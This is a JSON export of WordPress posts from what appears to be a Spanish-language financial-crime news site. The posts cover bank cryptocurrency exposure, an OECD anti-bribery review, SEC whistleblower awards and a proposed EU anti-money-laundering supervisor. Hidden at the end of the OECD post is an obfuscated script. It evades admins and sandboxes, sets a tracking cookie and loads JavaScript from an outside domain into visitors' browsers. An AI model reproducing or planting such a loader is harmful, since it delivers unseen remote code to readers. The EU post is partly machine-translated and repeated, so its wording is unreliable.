autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los 